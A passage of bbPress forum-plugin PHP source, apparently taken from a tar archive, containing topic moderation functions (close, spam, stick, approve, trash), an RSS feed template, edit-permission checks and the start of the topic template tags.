	if ( true === $revisions_removed ) {
		$revisions_removed = false;
		add_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	// Execute post close code
	do_action( 'bbp_closed_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Opens a topic
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_open_topic( $topic_id = 0 ) {

	// Get topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Bail if not closed
	if ( bbp_get_closed_status_id() !== $topic->post_status ) {
		return false;
	}

	// Execute pre open code
	do_action( 'bbp_open_topic', $topic_id );

	// Get previous status
	$topic_status = get_post_meta( $topic_id, '_bbp_status', true );

	// If no previous status, default to publish
	if ( empty( $topic_status ) ) {
		$topic_status = bbp_get_public_status_id();
	}

	// Set previous status
	$topic->post_status = $topic_status;

	// Remove old status meta
	delete_post_meta( $topic_id, '_bbp_status' );

	// Toggle revisions off as we are not altering content
	if ( post_type_supports( bbp_get_topic_post_type(), 'revisions' ) ) {
		$revisions_removed = true;
		remove_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	// Update topic
	$topic_id = wp_update_post( $topic );

	// Toggle revisions back on
	if ( true === $revisions_removed ) {
		$revisions_removed = false;
		add_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	// Execute post open code
	do_action( 'bbp_opened_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Marks a topic as spam
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_spam_topic( $topic_id = 0 ) {

	// Get the topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Get new status
	$status = bbp_get_spam_status_id();

	// Bail if topic is spam
	if ( $status === $topic->post_status ) {
		return false;
	}

	// Add the original post status as post meta for future restoration
	add_post_meta( $topic_id, '_bbp_spam_meta_status', $topic->post_status );

	// Execute pre spam code
	do_action( 'bbp_spam_topic', $topic_id );

	// Set post status to spam
	$topic->post_status = $status;

	// Empty the topic of its tags
	$topic->tax_input = bbp_spam_topic_tags( $topic_id );

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update the topic
	$topic_id = wp_update_post( $topic );

	// Execute post spam code
	do_action( 'bbp_spammed_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Trash replies to a topic when it's marked as spam
 *
 * Usually you'll want to do this before the topic itself is marked as spam.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_spam_topic_replies( $topic_id = 0 ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Topic is being spammed, so its replies are trashed
	$replies = new WP_Query( array(
		'fields'         => 'id=>parent',
		'post_type'      => bbp_get_reply_post_type(),
		'post_status'    => bbp_get_public_status_id(),
		'post_parent'    => $topic_id,
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	if ( ! empty( $replies->posts ) ) {

		// Prevent debug notices
		$pre_spammed_replies = array();

		// Loop through replies, trash them, and add them to array
		foreach ( $replies->posts as $reply ) {
			wp_trash_post( $reply->ID );
			$pre_spammed_replies[] = $reply->ID;
		}

		// Set a post_meta entry of the replies that were trashed by this action.
		// This is so we can possibly untrash them, without untrashing replies
		// that were purposefully trashed before.
		update_post_meta( $topic_id, '_bbp_pre_spammed_replies', $pre_spammed_replies );

		// Reset the global post data after looping through the above WP_Query
		wp_reset_postdata();
	}
}

/**
 * Store the tags to a topic in post meta before it's marked as spam so they
 * can be retrieved and unspammed later.
 *
 * Usually you'll want to do this before the topic itself is marked as spam.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_spam_topic_tags( $topic_id = 0 ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Get topic tags
	$terms = get_the_terms( $topic_id, bbp_get_topic_tag_tax_id() );

	// Define local variable(s)
	$term_names = array();

	// Topic has tags
	if ( ! empty( $terms ) ) {

		// Loop through and collect term names
		foreach ( $terms as $term ) {
			$term_names[] = $term->name;
		}

		// Topic terms have slugs
		if ( ! empty( $term_names ) ) {

			// Add the original post status as post meta for future restoration
			add_post_meta( $topic_id, '_bbp_spam_topic_tags', $term_names );
		}
	}

	return array( bbp_get_topic_tag_tax_id() => '' );
}

/**
 * Unspams a topic
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_unspam_topic( $topic_id = 0 ) {

	// Get the topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Bail if already not spam
	if ( bbp_get_spam_status_id() !== $topic->post_status ) {
		return false;
	}

	// Execute pre unspam code
	do_action( 'bbp_unspam_topic', $topic_id );

	// Get pre spam status
	$topic_status = get_post_meta( $topic_id, '_bbp_spam_meta_status', true );

	// If no previous status, default to publish
	if ( empty( $topic_status ) ) {
		$topic_status = bbp_get_public_status_id();
	}

	// Set post status to pre spam
	$topic->post_status = $topic_status;
	$topic->tax_input   = bbp_unspam_topic_tags( $topic_id );

	// Delete pre spam meta
	delete_post_meta( $topic_id, '_bbp_spam_meta_status' );

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update the topic
	$topic_id = wp_update_post( $topic );

	// Execute post unspam code
	do_action( 'bbp_unspammed_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Untrash replies to a topic previously marked as spam.
 *
 * Usually you'll want to do this after the topic is unspammed.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_unspam_topic_replies( $topic_id = 0 ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Get the replies that were not previously trashed
	$pre_spammed_replies = get_post_meta( $topic_id, '_bbp_pre_spammed_replies', true );

	// There are replies to untrash
	if ( ! empty( $pre_spammed_replies ) ) {

		// Maybe reverse the trashed replies array
		if ( is_array( $pre_spammed_replies ) ) {
			$pre_spammed_replies = array_reverse( $pre_spammed_replies );
		}

		// Loop through replies
		foreach ( (array) $pre_spammed_replies as $reply ) {
			wp_untrash_post( $reply );
		}
	}

	// Clear the trasheed reply meta for the topic
	delete_post_meta( $topic_id, '_bbp_pre_spammed_replies' );
}

/**
 * Retrieve tags to a topic from post meta before it's unmarked as spam so they.
 *
 * Usually you'll want to do this before the topic itself is unmarked as spam.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_unspam_topic_tags( $topic_id = 0 ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Get pre-spam topic tags
	$terms = get_post_meta( $topic_id, '_bbp_spam_topic_tags', true );

	// Delete pre-spam topic tag meta
	if ( ! empty( $terms ) ) {
		delete_post_meta( $topic_id, '_bbp_spam_topic_tags' );
	}

	return array( bbp_get_topic_tag_tax_id() => $terms );
}

/**
 * Sticks a topic to a forum or front
 *
 * @since 2.0.0 bbPress (r2754)
 *
 * @param int $topic_id Optional. Topic id
 * @param int $super Should we make the topic a super sticky?
 * @return bool True on success, false on failure
 */
function bbp_stick_topic( $topic_id = 0, $super = false ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Bail if a topic is not a topic (prevents revisions as stickies)
	if ( ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_stick_topic', $topic_id, $super );

	// Maybe get the forum ID if not getting supers
	$forum_id = empty( $super )
		? bbp_get_topic_forum_id( $topic_id )
		: 0;

	// Get the stickies, maybe from the forum ID
	$stickies = bbp_get_stickies( $forum_id );

	// Add the topic to the stickies
	$stickies[] = $topic_id;

	// Pull out duplicates and empties
	$stickies = array_unique( array_filter( $stickies ) );

	// Unset incorrectly stuck revisions
	foreach ( (array) $stickies as $key => $id ) {
		if ( ! bbp_is_topic( $id ) ) {
			unset( $stickies[ $key ] );
		}
	}

	// Reset keys
	$stickies = array_values( $stickies );

	// Update
	$success  = ! empty( $super )
		? update_option( '_bbp_super_sticky_topics', $stickies )
		: update_post_meta( $forum_id, '_bbp_sticky_topics', $stickies );

	do_action( 'bbp_stuck_topic', $topic_id, $super, $success );

	return (bool) $success;
}

/**
 * Approves a pending topic
 *
 * @since 2.6.0 bbPress (r5503)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_approve_topic( $topic_id = 0 ) {

	// Get topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Get new status
	$status = bbp_get_public_status_id();

	// Bail if already approved
	if ( $status === $topic->post_status ) {
		return false;
	}

	// Execute pre pending code
	do_action( 'bbp_approve_topic', $topic_id );

	// Set publish status
	$topic->post_status = $status;

	// Set post date GMT - prevents post_date override in wp_update_post()
	$topic->post_date_gmt = get_gmt_from_date( $topic->post_date );

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update topic
	$topic_id = wp_update_post( $topic );

	// Execute post pending code
	do_action( 'bbp_approved_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Unapproves a topic
 *
 * @since 2.6.0 bbPress (r5503)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_unapprove_topic( $topic_id = 0 ) {

	// Get topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Get new status
	$status = bbp_get_pending_status_id();

	// Bail if already unapproved
	if ( ! bbp_is_topic_public( $topic_id ) ) {
		return false;
	}

	// Execute pre open code
	do_action( 'bbp_unapprove_topic', $topic_id );

	// Set pending status
	$topic->post_status = $status;

	// No revisions
	remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Update topic
	$topic_id = wp_update_post( $topic );

	// Execute post open code
	do_action( 'bbp_unapproved_topic', $topic_id );

	// Return topic_id
	return $topic_id;
}

/**
 * Unsticks a topic both from front and it's forum
 *
 * @since 2.0.0 bbPress (r2754)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool Always true.
 */
function bbp_unstick_topic( $topic_id = 0 ) {

	// Get topic sticky status
	$topic_id = bbp_get_topic_id( $topic_id );
	$super    = bbp_is_topic_super_sticky( $topic_id );
	$forum_id = empty( $super ) ? bbp_get_topic_forum_id( $topic_id ) : 0;
	$stickies = bbp_get_stickies( $forum_id );
	$offset   = array_search( $topic_id, $stickies );

	do_action( 'bbp_unstick_topic', $topic_id );

	// Nothing to unstick
	if ( empty( $stickies ) ) {
		$success = true;

	// Topic not in stickies
	} elseif ( ! in_array( $topic_id, $stickies, true ) ) {
		$success = true;

	// Topic not in stickies
	} elseif ( false === $offset ) {
		$success = true;

	// Splice out the offset
	} else {
		array_splice( $stickies, $offset, 1 );

		if ( empty( $stickies ) ) {
			$success = ! empty( $super )
				? delete_option( '_bbp_super_sticky_topics' )
				: delete_post_meta( $forum_id, '_bbp_sticky_topics' );
		} else {
			$success = ! empty( $super )
				? update_option( '_bbp_super_sticky_topics', $stickies )
				: update_post_meta( $forum_id, '_bbp_sticky_topics', $stickies );
		}
	}

	do_action( 'bbp_unstuck_topic', $topic_id, $success );

	return (bool) $success;
}

/** Before Delete/Trash/Untrash ***********************************************/

/**
 * Called before deleting a topic.
 *
 * This function is supplemental to the actual topic deletion which is
 * handled by WordPress core API functions. It is used to clean up after
 * a topic that is being deleted.
 */
function bbp_delete_topic( $topic_id = 0 ) {

	// Validate topic ID
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_delete_topic', $topic_id );
}

/**
 * Delete replies to a topic when it's deleted
 *
 * Usually you'll want to do this before the topic itself is deleted.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_delete_topic_replies( $topic_id = 0 ) {

	// Validate topic ID
	$topic_id = bbp_get_topic_id( $topic_id );

	// Topic is being permanently deleted, so its replies gotta go too
	// Note that we get all post statuses here
	$replies = new WP_Query( array(
		'fields'         => 'id=>parent',
		'post_type'      => bbp_get_reply_post_type(),
		'post_status'    => array_keys( get_post_stati() ),
		'post_parent'    => $topic_id,
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	// Loop through and delete child replies
	if ( ! empty( $replies->posts ) ) {
		foreach ( $replies->posts as $reply ) {
			wp_delete_post( $reply->ID, true );
		}

		// Reset the $post global
		wp_reset_postdata();
	}
}

/**
 * Called before trashing a topic
 *
 * This function is supplemental to the actual topic being trashed which is
 * handled by WordPress core API functions. It is used to clean up after
 * a topic that is being trashed.
 */
function bbp_trash_topic( $topic_id = 0 ) {

	// Validate topic ID
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_trash_topic', $topic_id );
}

/**
 * Trash replies to a topic when it's trashed.
 *
 * Usually you'll want to do this before the topic itself is marked as spam.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_trash_topic_replies( $topic_id = 0 ) {

	// Validate topic ID
	$topic_id = bbp_get_topic_id( $topic_id );

	// Topic is being trashed, so its replies are trashed too
	$replies = new WP_Query( array(
		'fields'         => 'id=>parent',
		'post_type'      => bbp_get_reply_post_type(),
		'post_status'    => bbp_get_public_status_id(),
		'post_parent'    => $topic_id,
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	if ( ! empty( $replies->posts ) ) {

		// Prevent debug notices
		$pre_trashed_replies = array();

		// Loop through replies, trash them, and add them to array
		foreach ( $replies->posts as $reply ) {
			wp_trash_post( $reply->ID );
			$pre_trashed_replies[] = $reply->ID;
		}

		// Set a post_meta entry of the replies that were trashed by this action.
		// This is so we can possibly untrash them, without untrashing replies
		// that were purposefully trashed before.
		update_post_meta( $topic_id, '_bbp_pre_trashed_replies', $pre_trashed_replies );

		// Reset the $post global
		wp_reset_postdata();
	}
}

/**
 * Called before untrashing a topic
 */
function bbp_untrash_topic( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_untrash_topic', $topic_id );
}

/**
 * Untrash replies to a topic previously trashed.
 *
 * Usually you'll want to do this after the topic is unspammed.
 *
 * @since 2.6.0 bbPress (r5405)
 *
 * @param int $topic_id
 */
function bbp_untrash_topic_replies( $topic_id = 0 ) {

	// Validation
	$topic_id = bbp_get_topic_id( $topic_id );

	// Get the replies that were not previously trashed
	$pre_trashed_replies = get_post_meta( $topic_id, '_bbp_pre_trashed_replies', true );

	// There are replies to untrash
	if ( ! empty( $pre_trashed_replies ) ) {

		// Maybe reverse the trashed replies array
		if ( is_array( $pre_trashed_replies ) ) {
			$pre_trashed_replies = array_reverse( $pre_trashed_replies );
		}

		// Loop through replies
		foreach ( (array) $pre_trashed_replies as $reply ) {
			wp_untrash_post( $reply );
		}
	}

	// Clear the trashed reply meta for the topic
	delete_post_meta( $topic_id, '_bbp_pre_trashed_replies' );
}

/** After Delete/Trash/Untrash ************************************************/

/**
 * Called after deleting a topic
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_deleted_topic( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_deleted_topic', $topic_id );
}

/**
 * Called after trashing a topic
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_trashed_topic( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_trashed_topic', $topic_id );
}

/**
 * Called after untrashing a topic
 *
 * @since 2.0.0 bbPress (r2993)
 */
function bbp_untrashed_topic( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );

	if ( empty( $topic_id ) || ! bbp_is_topic( $topic_id ) ) {
		return false;
	}

	do_action( 'bbp_untrashed_topic', $topic_id );
}

/** Settings ******************************************************************/

/**
 * Return the topics per page setting
 *
 * @since 2.0.0 bbPress (r3540)
 * @return int
 */
function bbp_get_topics_per_page( $default = 15 ) {

	// Get database option and cast as integer
	$retval = get_option( '_bbp_topics_per_page', $default );

	// If return val is empty, set it to default
	if ( empty( $retval ) ) {
		$retval = $default;
	}

	// Filter & return
	return (int) apply_filters( 'bbp_get_topics_per_page', $retval, $default );
}

/**
 * Return the topics per RSS page setting
 *
 * @since 2.0.0 bbPress (r3540)
 *
 * @param int $default Default replies per page (25)
 * @return int
 */
function bbp_get_topics_per_rss_page( $default = 25 ) {

	// Get database option and cast as integer
	$retval = get_option( '_bbp_topics_per_rss_page', $default );

	// If return val is empty, set it to default
	if ( empty( $retval ) ) {
		$retval = $default;
	}

	// Filter & return
	return (int) apply_filters( 'bbp_get_topics_per_rss_page', $retval, $default );
}

/** Topic Tags ****************************************************************/

/**
 * Get topic tags for a specific topic ID
 *
 * @since 2.6.0 bbPress (r5836)
 *
 * @param int $topic_id
 *
 * @return string
 */
function bbp_get_topic_tags( $topic_id = 0 ) {
	$topic_id   = bbp_get_topic_id( $topic_id );
	$terms      = (array) get_the_terms( $topic_id, bbp_get_topic_tag_tax_id() );
	$topic_tags = array_filter( $terms );

	// Filter & return
	return apply_filters( 'bbp_get_topic_tags', $topic_tags, $topic_id );
}

/**
 * Get topic tags for a specific topic ID
 *
 * @since 2.2.0 bbPress (r4165)
 *
 * @param int    $topic_id
 * @param string $sep
 *
 * @return string
 */
function bbp_get_topic_tag_names( $topic_id = 0, $sep = ', ' ) {
	$topic_tags = bbp_get_topic_tags( $topic_id );
	$pluck      = wp_list_pluck( $topic_tags, 'name' );
	$terms      = ! empty( $pluck )
		? implode( $sep, $pluck )
		: '';

	// Filter & return
	return apply_filters( 'bbp_get_topic_tag_names', $terms, $topic_id, $sep );
}

/**
 * Will update topic-tag count based on object type.
 *
 * Function for the default callback for topic-tag taxonomies.
 *
 * @see https://bbpress.trac.wordpress.org/ticket/3043
 * @access private
 *
 * @since 2.6.0 bbPress (r6253)
 *
 * @param array  $terms    List of Term taxonomy IDs.
 * @param object $taxonomy Current taxonomy object of terms.
 */
function bbp_update_topic_tag_count( $terms, $taxonomy ) {

	// Bail if no object types are available
	if ( empty( $terms ) || empty( $taxonomy->object_type ) ) {
		return;
	}

	// Get object types
	$object_types = (array) $taxonomy->object_type;

	foreach ( $object_types as &$object_type ) {
		list( $object_type ) = explode( ':', $object_type );
	}

	$object_types = array_unique( $object_types );

	if ( ! empty( $object_types ) ) {
		$object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) );
	}

	// Statuses to count
	$object_statuses = bbp_get_public_topic_statuses();

	// Get database
	$bbp_db = bbp_db();

	// Loop through terms, maybe update counts
	foreach ( (array) $terms as $term ) {
		$count = 0;

		// Get count, and bump it
		if ( ! empty( $object_types ) ) {
			$query    = "SELECT COUNT(*) FROM {$bbp_db->term_relationships}, {$bbp_db->posts} WHERE {$bbp_db->posts}.ID = {$bbp_db->term_relationships}.object_id AND post_status IN ('" . implode("', '", $object_statuses ) . "') AND post_type IN ('" . implode("', '", $object_types ) . "') AND term_taxonomy_id = %d";
			$prepare  = $bbp_db->prepare( $query, $term );
			$count   += (int) $bbp_db->get_var( $prepare );
		}

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edit_term_taxonomy', $term, $taxonomy->name );
		$bbp_db->update( $bbp_db->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edited_term_taxonomy', $term, $taxonomy->name );
	}
}

/** Autoembed *****************************************************************/

/**
 * Check if autoembeds are enabled and hook them in if so
 *
 * @since 2.1.0 bbPress (r3752)
 *
 * @global WP_Embed $wp_embed
 */
function bbp_topic_content_autoembed() {
	global $wp_embed;

	if ( bbp_use_autoembed() && is_a( $wp_embed, 'WP_Embed' ) ) {
		add_filter( 'bbp_get_topic_content', array( $wp_embed, 'autoembed' ), 2 );
	}
}

/** Feeds *********************************************************************/

/**
 * Output an RSS2 feed of topics, based on the query passed.
 *
 * @since 2.0.0 bbPress (r3171)
 *
 * @param array $topics_query
 */
function bbp_display_topics_feed_rss2( $topics_query = array() ) {

	// User cannot access this forum
	if ( bbp_is_single_forum() && ! bbp_user_can_view_forum( array( 'forum_id' => bbp_get_forum_id() ) ) ) {
		return;
	}

	// Feed title
	$title = get_bloginfo_rss( 'name' ) . ' &#187; ' . esc_html__( 'All Topics', 'bbpress' );
	$title = apply_filters( 'wp_title_rss', $title );

	// Display the feed
	header( 'Content-Type: ' . feed_content_type( 'rss2' ) . '; charset=' . get_option( 'blog_charset' ), true );
	header( 'Status: 200 OK' );
	echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?>

	<rss version="2.0"
		xmlns:content="http://purl.org/rss/1.0/modules/content/"
		xmlns:wfw="http://wellformedweb.org/CommentAPI/"
		xmlns:dc="http://purl.org/dc/elements/1.1/"
		xmlns:atom="http://www.w3.org/2005/Atom"

		<?php do_action( 'bbp_feed' ); ?>
	>

	<channel>

		<title><?php echo $title; // Already escaped ?></title>
		<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
		<link><?php self_link(); ?></link>
		<description><?php //?></description>
		<lastBuildDate><?php echo date( 'r' ); ?></lastBuildDate>
		<generator><?php echo esc_url_raw( 'https://bbpress.org/?v=' . convert_chars( bbp_get_version() ) ); ?></generator>
		<language><?php bloginfo_rss( 'language' ); ?></language>

		<?php do_action( 'bbp_feed_head' ); ?>

		<?php if ( bbp_has_topics( $topics_query ) ) : ?>

			<?php while ( bbp_topics() ) : bbp_the_topic(); ?>

				<item>
					<guid><?php bbp_topic_permalink(); ?></guid>
					<title><![CDATA[<?php bbp_topic_title(); ?>]]></title>
					<link><?php bbp_topic_permalink(); ?></link>
					<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_meta( bbp_get_topic_id(), '_bbp_last_active_time', true ), false ); ?></pubDate>
					<dc:creator><?php the_author() ?></dc:creator>

					<?php if ( !post_password_required() ) : ?>

					<description>
						<![CDATA[
						<p><?php printf( esc_html__( 'Replies: %s', 'bbpress' ), bbp_get_topic_reply_count() ); ?></p>
						<?php bbp_topic_content(); ?>
						]]>
					</description>

					<?php rss_enclosure(); ?>

					<?php endif; ?>

					<?php do_action( 'bbp_feed_item' ); ?>

				</item>

				<?php endwhile; ?>
			<?php endif; ?>

		<?php do_action( 'bbp_feed_footer' ); ?>

	</channel>
	</rss>

<?php
	exit();
}

/** Permissions ***************************************************************/

/**
 * Redirect if unauthorized user is attempting to edit a topic
 *
 * @since 2.1.0 bbPress (r3605)
 */
function bbp_check_topic_edit() {

	// Bail if not editing a topic
	if ( ! bbp_is_topic_edit() ) {
		return;
	}

	// User cannot edit topic, so redirect back to topic
	if ( ! current_user_can( 'edit_topic', bbp_get_topic_id() ) ) {
		bbp_redirect( bbp_get_topic_permalink() );
	}
}

/**
 * Redirect if unauthorized user is attempting to edit a topic tag
 *
 * @since 2.1.0 bbPress (r3605)
 */
function bbp_check_topic_tag_edit() {

	// Bail if not editing a topic tag
	if ( ! bbp_is_topic_tag_edit() ) {
		return;
	}

	// Bail if current user cannot edit topic tags
	if ( ! current_user_can( 'edit_topic_tag', bbp_get_topic_tag_id() ) ) {
		bbp_redirect( bbp_get_topic_tag_link() );
	}
}
includes/topics/index.php000066600000000072151771460310011503 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/topics/template.php000066600000346447151771460310012232 0ustar00<?php

/**
 * bbPress Topic Template Tags
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Post Type *****************************************************************/

/**
 * Output the unique id of the custom post type for topics
 *
 * @since 2.0.0 bbPress (r2857)
 */
function bbp_topic_post_type() {
	echo bbp_get_topic_post_type();
}
	/**
	 * Return the unique id of the custom post type for topics
	 *
	 * @since 2.0.0 bbPress (r2857)
	 *
	 * @return string The unique topic post type id
	 */
	function bbp_get_topic_post_type() {

		// Filter & return
		return apply_filters( 'bbp_get_topic_post_type', bbpress()->topic_post_type );
	}

/**
 * Return array of labels used by the topic post type
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_topic_post_type_labels() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_post_type_labels', array(
		'name'                     => esc_attr__( 'Topics',                     'bbpress' ),
		'menu_name'                => esc_attr__( 'Topics',                     'bbpress' ),
		'singular_name'            => esc_attr__( 'Topic',                      'bbpress' ),
		'all_items'                => esc_attr__( 'All Topics',                 'bbpress' ),
		'add_new'                  => esc_attr__( 'Add New',                    'bbpress' ),
		'add_new_item'             => esc_attr__( 'Create New Topic',           'bbpress' ),
		'edit'                     => esc_attr__( 'Edit',                       'bbpress' ),
		'edit_item'                => esc_attr__( 'Edit Topic',                 'bbpress' ),
		'new_item'                 => esc_attr__( 'New Topic',                  'bbpress' ),
		'view'                     => esc_attr__( 'View Topic',                 'bbpress' ),
		'view_item'                => esc_attr__( 'View Topic',                 'bbpress' ),
		'view_items'               => esc_attr__( 'View Topics',                'bbpress' ),
		'search_items'             => esc_attr__( 'Search Topics',              'bbpress' ),
		'not_found'                => esc_attr__( 'No topics found',            'bbpress' ),
		'not_found_in_trash'       => esc_attr__( 'No topics found in Trash',   'bbpress' ),
		'filter_items_list'        => esc_attr__( 'Filter topics list',         'bbpress' ),
		'items_list'               => esc_attr__( 'Topics list',                'bbpress' ),
		'items_list_navigation'    => esc_attr__( 'Topics list navigation',     'bbpress' ),
		'parent_item_colon'        => esc_attr__( 'Forum:',                     'bbpress' ),
		'archives'                 => esc_attr__( 'Forum Topics',               'bbpress' ),
		'attributes'               => esc_attr__( 'Topic Attributes',           'bbpress' ),
		'insert_into_item'         => esc_attr__( 'Insert into topic',          'bbpress' ),
		'uploaded_to_this_item'    => esc_attr__( 'Uploaded to this topic',     'bbpress' ),
		'featured_image'           => esc_attr__( 'Topic Image',                'bbpress' ),
		'set_featured_image'       => esc_attr__( 'Set topic image',            'bbpress' ),
		'remove_featured_image'    => esc_attr__( 'Remove topic image',         'bbpress' ),
		'use_featured_image'       => esc_attr__( 'Use as topic image',         'bbpress' ),
		'item_published'           => esc_attr__( 'Topic published.',           'bbpress' ),
		'item_published_privately' => esc_attr__( 'Topic published privately.', 'bbpress' ),
		'item_reverted_to_draft'   => esc_attr__( 'Topic reverted to draft.',   'bbpress' ),
		'item_scheduled'           => esc_attr__( 'Topic scheduled.',           'bbpress' ),
		'item_updated'             => esc_attr__( 'Topic updated.',             'bbpress' )
	) );
}

/**
 * Return array of topic post type rewrite settings
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_topic_post_type_rewrite() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_post_type_rewrite', array(
		'slug'       => bbp_get_topic_slug(),
		'with_front' => false
	) );
}

/**
 * Return array of features the topic post type supports
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_topic_post_type_supports() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_post_type_supports', array(
		'title',
		'editor',
		'revisions'
	) );
}

/**
 * The plugin version of bbPress comes with two topic display options:
 * - Traditional: Topics are included in the reply loop (default)
 * - New Style: Topics appear as "lead" posts, ahead of replies
 *
 * @since 2.0.0 bbPress (r2954)
 *
 * @param $show_lead Optional. Default false
 * @return bool Yes if the topic appears as a lead, otherwise false
 */
function bbp_show_lead_topic( $show_lead = false ) {

	// Never separate the lead topic in feeds
	if ( is_feed() ) {
		return false;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_show_lead_topic', (bool) $show_lead );
}

/** Topic Loop ****************************************************************/

/**
 * The main topic loop. WordPress makes this easy for us
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @param array $args All the arguments supported by {@link WP_Query}
 * @return object Multidimensional array of topic information
 */
function bbp_has_topics( $args = array() ) {

	/** Defaults **************************************************************/

	// Other defaults
	$default_topic_search  = bbp_sanitize_search_request( 'ts' );
	$default_show_stickies = (bool) ( bbp_is_single_forum() || bbp_is_topic_archive() ) && ( false === $default_topic_search );
	$default_post_parent   = bbp_is_single_forum() ? bbp_get_forum_id() : 'any';

	// Default argument array
	$default = array(
		'post_type'      => bbp_get_topic_post_type(), // Narrow query down to bbPress topics
		'post_parent'    => $default_post_parent,      // Forum ID
		'meta_key'       => '_bbp_last_active_time',   // Make sure topic has some last activity time
		'meta_type'      => 'DATETIME',
		'orderby'        => 'meta_value',              // 'meta_value', 'author', 'date', 'title', 'modified', 'parent', rand',
		'order'          => 'DESC',                    // 'ASC', 'DESC'
		'posts_per_page' => bbp_get_topics_per_page(), // Topics per page
		'paged'          => bbp_get_paged(),           // Page Number
